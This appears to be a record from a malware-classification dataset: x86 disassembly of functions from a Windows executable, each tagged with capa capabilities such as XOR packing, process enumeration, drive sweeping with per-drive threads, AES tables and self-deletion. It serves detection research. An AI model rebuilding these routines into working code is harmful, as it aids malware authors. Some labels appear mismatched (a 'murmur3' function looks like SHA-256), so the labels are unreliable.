joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a403
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x413344], ebx
push esi
push edi
jne 0x40a483
push 0x40f608
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40a4be
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40f5fc
push edi
call esi
test eax, eax
mov dword [0x413344], eax
je 0x40a4be
push 0x40f5ec
push edi
call esi
push 0x40f5d8
push edi
mov dword [0x413348], eax
call esi
cmp dword [0x4132ac], 2
mov dword [0x41334c], eax
jne 0x40a483
push 0x40f5bc
push edi
call esi
test eax, eax
mov dword [0x413354], eax
je 0x40a483
push 0x40f5a4
push edi
call esi
mov dword [0x413350], eax
mov eax, dword [0x413350]
test eax, eax
je 0x40a4c8
call eax
test eax, eax
je 0x40a4af
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x413354]
test eax, eax
je 0x40a4af
test byte [ebp - 8], 1
jne 0x40a4c8
cmp dword [0x4132b8], 4
jb 0x40a4c2
or byte [ebp + 0x12], 0x20
jmp 0x40a4e7
xor eax, eax
jmp 0x40a4f7
or byte [ebp + 0x12], 4
jmp 0x40a4e7
mov eax, dword [0x413348]
test eax, eax
je 0x40a4e7
call eax
mov ebx, eax
test ebx, ebx
je 0x40a4e7
mov eax, dword [0x41334c]
test eax, eax
je 0x40a4e7
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x413344]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x605a3622
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x47681c6f
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x402354
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
push 0x44
pop esi
push esi
xor ebp, ebp
lea eax, [esp + 0x28]
push ebp
push eax
call fcn.004024ba
add esp, 0xc
mov dword [esp + 0x24], esi
push ebp
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [esp + 0xc], edi
cmp edi, 0xffffffff
je 0x4024ae
push ebx
lea eax, [esp + 0x16c]
mov dword [esp + 0x16c], 0x22c
push eax
push edi
call sub.kernel32.dll_Process32FirstW
mov ebx, dword [esp + 0x10]
cmp dword [esp + 0x3a4], 0
mov esi, ebp
jle 0x40241b
push ebp
lea eax, [esp + 0x194]
push eax
call fcn.0040975d
mov ebp, eax
lea eax, [esp + 0x190]
push eax
call dword [sym.imp.kernel32.dll_lstrlenW]
xor ebx, ebx
mov dword [esp + 0x14], eax
test eax, eax
jle 0x4023f2
mov edi, eax
movsx ecx, byte [ebx + ebp]
push ecx
call fcn.00402340
mov byte [ebx + ebp], al
inc ebx
cmp ebx, edi
jl 0x4023e0
mov eax, dword [esp + 0x3a0]
push dword [eax + esi*4]
push ebp
call dword [sym.imp.shlwapi.dll_StrStrA]
mov ebx, eax
test ebx, ebx
jne 0x402415
inc esi
push eax
pop ebp
cmp esi, dword [esp + 0x3a4]
jl 0x4023b6
mov edi, dword [esp + 0x10]
xor ebp, ebp
test ebx, ebx
je 0x402490
push ebp
push 0x1000
push ebp
call dword [sym.imp.kernel32.dll_HeapCreate]
push 0x100
push ebp
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
push dword [esp + 0x174]
mov esi, eax
push 0x401650
push esi
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x6c]
push 0x401654
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
push esi
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.kernel32.dll_lstrcatA]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x2c]
push eax
push ebp
push ebp
push 0x8000000
push ebp
push ebp
push ebp
lea eax, [esp + 0x8c]
push eax
push ebp
call dword [sym.imp.kernel32.dll_CreateProcessA]
lea eax, [esp + 0x16c]
push eax
push edi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x4023aa
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x388
ret 0xc
Function at 0x403671
Capabilities:
Encode data using xor
Manually build aes constants

Disassembly:
sub esp, 0x804
push ebx
push ebp
push esi
push edi
mov edi, 0xff
xor ebx, ebx
xor esi, esi
inc ebx
mov dword [esp + 0x10], ebx
mov edx, ebx
lea ebp, [edi + 1]
mov eax, edx
mov dword [esp + esi*4 + 0x414], edx
and al, 0x80
mov dword [esp + edx*4 + 0x14], esi
movsx ecx, al
lea eax, [edx + edx]
neg ecx
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
xor edx, ecx
and edx, edi
inc esi
cmp esi, ebp
jl 0x40368e
mov esi, ebx
mov edx, 0x40ca70
mov eax, esi
mov dword [edx], esi
and al, 0x80
movsx ecx, al
neg ecx
sbb ecx, ecx
add esi, esi
and ecx, 0x1b
add edx, 4
xor esi, ecx
and esi, edi
cmp edx, 0x40ca98
jl 0x4036bc
mov byte [0x40a870], 0x63
mov byte [0x40b9d3], 0
mov ecx, dword [esp + ebx*4 + 0x14]
lea eax, [esp + 0x810]
shl ecx, 2
sub eax, ecx
mov ebx, dword [eax]
mov ecx, ebx
sar ecx, 7
lea eax, [ebx + ebx]
or ecx, eax
and ecx, edi
mov edx, ecx
xor ebx, ecx
sar edx, 7
lea eax, [ecx + ecx]
or edx, eax
and edx, edi
mov esi, edx
xor ebx, edx
sar esi, 7
lea eax, [edx + edx]
or esi, eax
and esi, edi
mov ecx, esi
sar ecx, 7
lea eax, [esi + esi]
or ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, 0x63
and ecx, edi
xor ecx, esi
xor ebx, ecx
mov byte [eax + 0x40a870], bl
mov byte [ebx + 0x40b970], al
mov ebx, eax
inc ebx
mov dword [esp + 0x10], ebx
cmp ebx, ebp
jl 0x4036eb
xor esi, esi
movzx edx, byte [esi + 0x40a870]
mov eax, edx
and al, 0x80
movsx ecx, al
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x1b
xor ecx, eax
and ecx, edi
mov eax, ecx
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, ecx
movzx ecx, byte [esi + 0x40b970]
mov dword [esi*4 + 0x40a970], eax
rol eax, 8
mov dword [esi*4 + 0x40ad70], eax
rol eax, 8
mov dword [esi*4 + 0x40b170], eax
rol eax, 8
mov dword [esi*4 + 0x40b570], eax
test ecx, ecx
je 0x4037c8
mov eax, dword [esp + ecx*4 + 0x14]
add eax, dword [esp + 0x4c]
cdq
idiv edi
mov ebp, dword [esp + edx*4 + 0x414]
jmp 0x4037ca
xor ebp, ebp
test ecx, ecx
je 0x4037e2
mov eax, dword [esp + ecx*4 + 0x14]
add eax, dword [esp + 0x38]
cdq
idiv edi
mov ebx, dword [esp + edx*4 + 0x414]
jmp 0x4037e4
xor ebx, ebx
test ecx, ecx
je 0x4037fc
mov eax, dword [esp + ecx*4 + 0x14]
add eax, dword [esp + 0x48]
cdq
idiv edi
mov edi, dword [esp + edx*4 + 0x414]
jmp 0x4037fe
xor edi, edi
test ecx, ecx
je 0x40381b
mov eax, dword [esp + ecx*4 + 0x14]
mov ecx, 0xff
add eax, dword [esp + 0x40]
cdq
idiv ecx
mov eax, dword [esp + edx*4 + 0x414]
jmp 0x40381d
xor eax, eax
shl eax, 8
xor eax, edi
mov edi, 0xff
shl eax, 8
xor eax, ebx
shl eax, 8
xor eax, ebp
mov dword [esi*4 + 0x40ba70], eax
rol eax, 8
mov dword [esi*4 + 0x40be70], eax
rol eax, 8
mov dword [esi*4 + 0x40c270], eax
rol eax, 8
mov dword [esi*4 + 0x40c670], eax
inc esi
cmp esi, 0x100
jl 0x403755
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x804
ret
Function at 0x406a4e
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x318
push ebx
mov ebx, dword [esp + 0x328]
cmp ebx, 0x180
jbe 0x406a6c
push 0xffffffffffffffc8
pop eax
jmp 0x406bcf
push ebp
push esi
push edi
push 0x1a0
lea eax, [esp + 0x74]
push 0
push eax
call fcn.004024ba
add esp, 0xc
lea eax, [esp + 0x210]
push eax
call fcn.00402752
mov eax, ebx
mov byte [esp + 0x83], bl
shr eax, 0x18
mov byte [esp + 0x80], al
mov eax, ebx
shr eax, 0x10
mov byte [esp + 0x81], al
mov eax, ebx
shr eax, 8
push ebx
push dword [esp + 0x334]
mov byte [esp + 0x8a], al
lea eax, [esp + 0x90]
push eax
mov byte [esp + 0x93], 0x30
call fcn.004024e8
add esp, 0xc
mov byte [esp + ebx + 0x88], 0x80
lea ebp, [ebx + 0x19]
xor eax, eax
mov byte [esp + eax + 0x50], al
inc eax
cmp eax, 0x20
jl 0x406ae8
push 0x100
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x218]
push eax
call fcn.00402780
xor ebx, ebx
xor eax, eax
lea edi, [esp + 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, ebp
test ebp, ebp
je 0x406b5d
lea esi, [esp + 0x70]
lea eax, [esp + 0x10]
sub esi, eax
xor edx, edx
lea ecx, [esp + 0x10]
add ecx, edx
push 0x10
mov al, byte [esi + ecx]
xor byte [ecx], al
inc edx
pop eax
cmp edx, eax
jl 0x406b27
add esi, eax
cmp edi, eax
jae 0x406b42
mov eax, edi
sub edi, eax
lea eax, [esp + 0x10]
push eax
push eax
push 1
lea eax, [esp + 0x21c]
push eax
call fcn.00402af8
test edi, edi
jne 0x406b25
lea edi, [esp + 0x20]
add edi, ebx
lea esi, [esp + 0x10]
inc byte [esp + 0x73]
add ebx, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
cmp ebx, 0x30
jl 0x406b0b
push 0x100
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x218]
push eax
call fcn.00402780
mov ebx, dword [esp + 0x32c]
push 3
pop ebp
lea eax, [esp + 0x40]
push eax
push eax
push 1
lea eax, [esp + 0x21c]
push eax
call fcn.00402af8
mov edi, ebx
lea esi, [esp + 0x40]
add ebx, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
dec ebp
jne 0x406b98
lea eax, [esp + 0x210]
push eax
call fcn.00402768
pop edi
pop esi
xor eax, eax
pop ebp
pop ebx
add esp, 0x318
ret 0xc
Function at 0x406bd9
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x34
push ebx
push ebp
push esi
push edi
push 0x30
xor esi, esi
lea ebx, [esp + 0x18]
mov eax, ebx
mov dword [esp + 0x14], esi
push esi
push eax
call fcn.004024ba
mov edi, dword [esp + 0x54]
xor ebp, ebp
inc ebp
mov dword [esp + 0x54], 3
add esp, 0xc
sub ebp, edi
lea eax, [edi + 0xf]
lea esi, [edi + 0x20]
mov ecx, eax
inc byte [ecx]
jne 0x406c1d
dec ecx
lea eax, [ecx + ebp]
test eax, eax
jg 0x406c11
push ebx
push edi
push 1
push esi
call fcn.00402af8
add ebx, 0x10
lea eax, [edi + 0xf]
dec dword [esp + 0x48]
jne 0x406c0f
mov edx, dword [esp + 0x4c]
lea eax, [esp + 0x14]
mov esi, dword [esp + 0x10]
sub edx, eax
lea ecx, [esp + 0x14]
add ecx, esi
mov al, byte [edx + ecx]
xor byte [ecx], al
inc esi
cmp esi, 0x30
jl 0x406c41
push 0x100
lea eax, [esp + 0x18]
push eax
lea eax, [edi + 0x20]
push eax
call fcn.00402780
lea esi, [esp + 0x34]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34
ret 8

Function at 0x407150
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0x20
push esi
mov esi, dword [esp + 0x28]
test esi, esi
je 0x407219
mov eax, dword [esi]
test eax, eax
je 0x407219
cmp dword [esi + 8], 0
je 0x407219
push ebx
mov ebx, dword [esp + 0x34]
push ebp
push edi
cmp ebx, dword [eax + 0xc]
jbe 0x4071ab
push dword [esi + 4]
call dword [eax + 0x10]
mov eax, dword [esi]
push ebx
push dword [esp + 0x3c]
push dword [esi + 4]
call dword [eax + 0x14]
mov eax, dword [esi]
lea ecx, [esp + 0x10]
push ecx
push dword [esi + 4]
call dword [eax + 0x18]
mov eax, dword [esi]
lea edi, [esp + 0x10]
mov ebx, dword [eax + 8]
jmp 0x4071af
mov edi, dword [esp + 0x38]
mov ecx, dword [esi + 8]
mov eax, dword [eax + 0xc]
push eax
push 0x36
push ecx
mov dword [esp + 0x44], ecx
lea ebp, [ecx + eax]
call fcn.004024ba
mov eax, dword [esi]
push dword [eax + 0xc]
push 0x5c
push ebp
call fcn.004024ba
add esp, 0x18
test ebx, ebx
je 0x4071ef
mov ecx, dword [esp + 0x38]
sub ecx, edi
sub ebp, edi
mov al, byte [edi]
xor byte [ecx + edi], al
mov al, byte [edi]
xor byte [edi + ebp], al
inc edi
dec ebx
jne 0x4071e1
push 0x20
lea eax, [esp + 0x14]
push eax
call fcn.00407381
mov eax, dword [esi]
push dword [esi + 4]
call dword [eax + 0x10]
mov eax, dword [esi]
push dword [eax + 0xc]
push dword [esp + 0x3c]
push dword [esi + 4]
call dword [eax + 0x14]
pop edi
pop ebp
xor eax, eax
pop ebx
jmp 0x40721e
mov eax, 0xffffaf00
pop esi
add esp, 0x20
ret 0xc
Function at 0x408b0b
Capabilities:
Hash data using sha224
Hash data using sha256

Disassembly:
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
and dword [eax], 0
and dword [eax + 4], 0
test ecx, ecx
jne 0x408b58
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
jmp 0x408b90
mov dword [eax + 8], 0xc1059ed8
mov dword [eax + 0xc], 0x367cd507
mov dword [eax + 0x10], 0x3070dd17
mov dword [eax + 0x14], 0xf70e5939
mov dword [eax + 0x18], 0xffc00b31
mov dword [eax + 0x1c], 0x68581511
mov dword [eax + 0x20], 0x64f98fa7
mov dword [eax + 0x24], 0xbefa4fa4
mov dword [eax + 0x68], ecx
ret 8
Function at 0x408da5
Capabilities:
Hash data using murmur3

Disassembly:
sub esp, 0x130
mov edx, dword [esp + 0x138]
push ebx
mov ebx, dword [esp + 0x138]
push ebp
push esi
push edi
add ebx, 8
lea edi, [esp + 0x18]
push 8
mov esi, ebx
mov dword [esp + 0x40], ebx
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [esp + 0x24]
xor edi, edi
add edx, 2
mov dword [esp + 0x38], edi
mov ebp, edi
mov dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x28]
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x14], edx
cmp ebp, 0x10
jae 0x408e17
movzx ecx, byte [edx - 2]
movzx eax, byte [edx - 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
or ecx, eax
mov dword [esp + ebp*4 + 0x40], ecx
jmp 0x408e4e
mov ecx, dword [esp + ebp*4 + 0x38]
mov esi, ecx
mov edx, dword [esp + ebp*4 + 4]
mov eax, ecx
rol esi, 0xf
rol eax, 0xd
xor esi, eax
shr ecx, 0xa
xor esi, ecx
mov eax, edx
mov ecx, edx
ror eax, 7
rol ecx, 0xe
xor ecx, eax
shr edx, 3
xor ecx, edx
add esi, ecx
add esi, dword [esp + ebp*4]
add esi, dword [esp + ebp*4 + 0x24]
mov dword [esp + ebp*4 + 0x40], esi
mov ecx, dword [esp + 0x18]
mov esi, ebx
ror esi, 0xb
mov eax, ebx
rol eax, 7
mov edx, ecx
xor esi, eax
ror edx, 0xd
mov eax, ebx
ror eax, 6
xor esi, eax
mov eax, edi
xor eax, dword [esp + 0x30]
and eax, ebx
xor eax, dword [esp + 0x30]
add esi, eax
mov eax, ecx
add esi, dword [ebp*4 + 0x401c50]
add esi, dword [esp + ebp*4 + 0x40]
add esi, dword [esp + 0x34]
add dword [esp + 0x10], esi
rol eax, 0xa
xor edx, eax
mov eax, ecx
ror eax, 2
xor edx, eax
mov eax, dword [esp + 0x1c]
mov ecx, eax
and eax, dword [esp + 0x18]
or ecx, dword [esp + 0x18]
and ecx, dword [esp + 0x20]
or eax, ecx
mov ecx, dword [esp + 0x30]
add eax, esi
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x20]
add eax, edx
mov edx, dword [esp + 0x14]
inc ebp
mov dword [esp + 0x30], edi
add edx, 4
mov dword [esp + 0x24], ecx
mov edi, ebx
mov ebx, dword [esp + 0x10]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], edx
cmp ebp, 0x40
jb 0x408dee
mov dword [esp + 0x28], ebx
mov ebx, dword [esp + 0x3c]
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x38]
mov eax, dword [esp + edi*4 + 0x18]
add dword [ebx], eax
inc edi
lea ebx, [ebx + 4]
cmp edi, 8
jb 0x408f08
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x130
ret 8
Function at 0x408f7f
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0xc], 0
push esi
mov esi, dword [esp + 0xc]
jle 0x408fe1
and dword [esp + 0xc], 0
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push edi
sub ebp, esi
push 0x10
mov ebx, esi
pop ecx
mov al, byte [ebx + ebp]
xor byte [ebx], al
inc ebx
dec ecx
jne 0x408f9e
push esi
push esi
push 1
push dword [esp + 0x2c]
call fcn.00402af8
push 0x10
push esi
push dword [esp + 0x2c]
call fcn.00407225
mov edi, dword [esp + 0x14]
sub ebp, 0x10
mov eax, dword [esp + 0x18]
add eax, 0x10
mov dword [esp + 0x18], eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, ebx
cmp eax, dword [esp + 0x1c]
jl 0x408f99
pop edi
pop ebp
pop ebx
pop esi
ret 0x14
Function at 0x409648
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push edi
push 0x44
xor edi, edi
lea eax, [ebp - 0x54]
push edi
push eax
call fcn.004024ba
add esp, 0xc
mov dword [ebp - 0x54], 0x44
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.kernel32.dll_CreateProcessW]
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x4096cb
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call sub.ntdll.dll__alloca_probe
push esi
push edi
lea eax, [ebp - 0x1004]
xor edi, edi
push eax
push edi
push 0x4021c8
push dword [0x40cfec]
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
push 0x4021d0
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.kernel32.dll_lstrcatW]
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x409757
push edi
lea eax, [ebp - 4]
mov edi, 0x402008
push eax
push edi
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
push edi
push esi
call dword [sym.imp.kernel32.dll_WriteFile]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [ebp - 0x1004]
push eax
call fcn.00409648
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40979f
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x303c
call sub.ntdll.dll__alloca_probe
push esi
push edi
xor eax, eax
xor edi, edi
push 0xffe
mov word [ebp - 0x103c], ax
lea eax, [ebp - 0x103a]
push edi
push eax
call fcn.004024ba
add esp, 0xc
lea eax, [ebp - 0x203c]
mov esi, 0x800
push esi
push eax
push edi
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
test eax, eax
je 0x4098b3
push esi
lea eax, [ebp - 0x303c]
push eax
push 0x4021dc
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4098b3
mov esi, dword [sym.imp.kernel32.dll_lstrcatW]
lea eax, [ebp - 0x103c]
push 0x4021ec
push eax
call esi
lea eax, [ebp - 0x203c]
push eax
lea eax, [ebp - 0x103c]
push eax
call esi
push 0x4021fc
lea eax, [ebp - 0x103c]
push eax
call esi
lea eax, [ebp - 0x303c]
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x103c]
push 0x40
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
pop esi
push eax
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], 0x40220c
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x38], esi
call dword [sym.imp.shell32.dll_ShellExecuteExW]
test eax, eax
je 0x4098b3
push esi
push dword [ebp - 4]
mov esi, dword [sym.imp.kernel32.dll_SetPriorityClass]
call esi
push 0x100
push edi
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
push edi
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call dword [sym.imp.kernel32.dll_SetThreadPriority]
push edi
lea eax, [ebp - 0x203c]
push eax
push 5
push 4
call sub.shell32.dll_SHChangeNotify
xor eax, eax
inc eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4098b9
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 4

Function at 0x4098d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.shlwapi.dll_PathRemoveFileSpecW]
mov esi, dword [sym.imp.kernel32.dll_lstrcatW]
push 0x402218
push edi
call esi
push 0x40d000
push edi
call esi
push edi
call fcn.004098b9
test eax, eax
jne 0x409949
push ebx
xor ebx, ebx
push ebx
push 0x80
push 1
push ebx
push ebx
push 0x40000000
push edi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x409922
push eax
jmp 0x409942
push ebx
lea eax, [ebp + 8]
push eax
push dword [0x40cfe4]
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
push dword [0x40cfe4]
push esi
call dword [sym.imp.kernel32.dll_WriteFile]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop ebx
pop edi
pop esi
pop ebp
ret 4

Function at 0x409b9c
Capabilities:
Create thread
Get disk information

Disassembly:
sub esp, 0x870
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcessHeap]
push 0x70
push 0
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov ebp, eax
call dword [sym.imp.kernel32.dll_GetLogicalDrives]
push 0x7fc
mov ebx, eax
mov dword [esp + 0x84], 0x5c3a41
xor esi, esi
lea eax, [esp + 0x88]
push esi
push eax
call fcn.004024ba
add esp, 0xc
test ebx, ebx
je 0x409c40
test bl, 1
je 0x409c35
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.kernel32.dll_GetDriveTypeA]
cmp eax, 3
je 0x409c0c
cmp eax, 2
je 0x409c0c
cmp eax, 4
jne 0x409c35
push 3
push 0
mov byte [esp + 0x8b], 0
call edi
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
lea ecx, [esp + 0x80]
mov dword [ebp + esi*4], eax
push ecx
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
inc esi
inc byte [esp + 0x80]
shr ebx, 1
jne 0x409bea
xor edi, edi
test esi, esi
jle 0x409c9b
mov ebx, dword [esp + 0x888]
lea eax, [esp + 0x10]
sub ebp, eax
push 0xc
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov ecx, dword [esp + 0x884]
mov dword [eax + 4], ecx
lea ecx, [edi*4]
add ecx, ebp
mov dword [eax + 8], ebx
mov ecx, dword [esp + ecx + 0x10]
mov dword [eax], ecx
xor ecx, ecx
push ecx
push ecx
push eax
push 0x40994f
push ecx
push ecx
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [esp + edi*4 + 0x10], eax
inc edi
cmp edi, esi
jl 0x409c53
push 0xffffffffffffffff
push 1
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x870
ret 8